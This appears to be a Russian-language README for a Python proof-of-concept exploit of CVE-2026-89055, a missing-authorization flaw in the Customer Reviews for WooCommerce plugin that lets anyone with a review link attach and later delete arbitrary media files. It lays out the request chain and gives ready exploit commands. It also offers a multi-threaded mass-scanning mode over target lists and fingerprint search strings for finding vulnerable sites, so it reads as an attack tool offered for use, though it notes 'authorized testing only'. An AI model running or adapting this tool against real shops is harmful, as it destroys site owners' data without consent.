
Python check/exploit PoC для CVE-2026-89055 — неаутентифицированного обхода авторизации в Customer Reviews for WooCommerce, позволяющего злоумышленникам привязывать произвольные вложения из Медиабиблиотеки для удаления.
Python 3 PoC для CVE-2026-89055 в Customer Reviews for WooCommerce (customer-reviews-woocommerce / Ivole CusRev).
CVE-2026-89055 — Customer Reviews for WooCommerce (CusRev) ≤ 5.120.0 уязвим к отсутствию авторизации в публичном AJAX-обработчике локальной формы отзывов (cr_local_forms_submit). Любой, у кого есть ссылка на отзыв клиента (/cusrev/{13-hex formId}/ из письма после заказа), может получить действительный crSubmitNonce и отправить отзывы, чей массив items[].media может содержать произвольные ID вложений медиатеки (изображения товаров, логотипы, PDF и т. д.). Эти ID сохраняются в метаданных комментария отзыва; когда отзыв безвозвратно удаляется (очистка корзины / удаление спама), delete_review_media_attachments() вызывает wp_delete_attachment() для каждого связанного ID без проверки прав владения. CVSS 3.1 9.1 Critical (C:N/I:H/A:H). Исправлено в > 5.120.0.
Публичный каталог: https://pocbit.org/pocs/
{site}/cusrev/{formId}/ → прочитать crSubmitNonce + значения data-itemid товаров.POST на admin-ajax.php: action=cr_local_forms_submit с items[n][media][]=<victim_attachment_id>.ivole_reviews_locl_img / video).delete_review_media_attachments удаляет файл каждого связанного вложения.Этот PoC выполняет шаги 1–2 на авторизованных целях. Шаг 4 — событие жизненного цикла сайта/администратора (документируется в выводе как chain_note).
pip install -r requirements.txt
Python 3.8+.
# Plugin version + optional live form (nonce + item IDs)
python poc.py -u https://shop.example --mode check --form-url /cusrev/abc123def4567/
# Inject foreign attachment ID into first product line item
python poc.py -u https://shop.example --mode exploit \
--form-id abc123def4567 --attachment-id 123 \
--verify-url https://shop.example/wp-content/uploads/2026/01/product.jpg
# Mass: base URL per line, optional form path after |
python poc.py --list targets.example.txt --mode check -j 20 --quiet
| Файл | Значение |
|---|---|
cve_2026_89055_results.jsonl | JSON по каждой цели |
hits.txt | Кандидаты или маркеры эксплуатации |
candidates.jsonl | Хосты с уязвимым плагином, требующие ссылок на формы |
body="/wp-content/plugins/customer-reviews-woocommerce/"
body="/cusrev/"
Только авторизованное тестирование.
| Платформа | WordPress + WooCommerce |
| Плагин | Customer Reviews for WooCommerce |
| Уязвимые версии | ≤ 5.120.0 |
| CWE | CWE-862 (Missing Authorization) |
| Предусловие | Публичная ссылка /cusrev/{formId}/ (nonce на странице) |
| Воздействие | Произвольное удаление медиафайлов после очистки отзывов (целостность + доступность) |